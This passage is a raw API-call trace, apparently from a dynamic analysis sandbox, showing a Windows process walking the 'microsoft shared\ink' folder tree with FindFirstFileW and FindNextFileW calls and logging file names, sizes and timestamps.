ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.816] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0054.816] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0054.816] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE") returned 56 [0054.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.816] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.816] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.816] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0054.817] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI") returned 56 [0054.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.825] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.825] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.825] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0054.825] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA") returned 56 [0054.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0054.826] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.826] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0054.826] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR") returned 56 [0054.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.826] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.826] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.826] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0054.827] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions") returned 64 [0054.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.827] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad", cAlternateFileName="")) returned 1 [0054.827] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42e3f88 [0054.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad") returned 71 [0054.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0054.827] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0054.827] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0054.828] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0054.828] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0054.828] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert", cAlternateFileName="")) returned 1 [0054.828] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42e3f88 [0054.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert") returned 71 [0054.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0054.828] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.828] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0054.828] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0054.828] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0054.828] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0054.828] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0054.828] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad", cAlternateFileName="")) returned 1 [0054.828] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42e3f88 [0054.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad") returned 71 [0054.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0054.828] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, 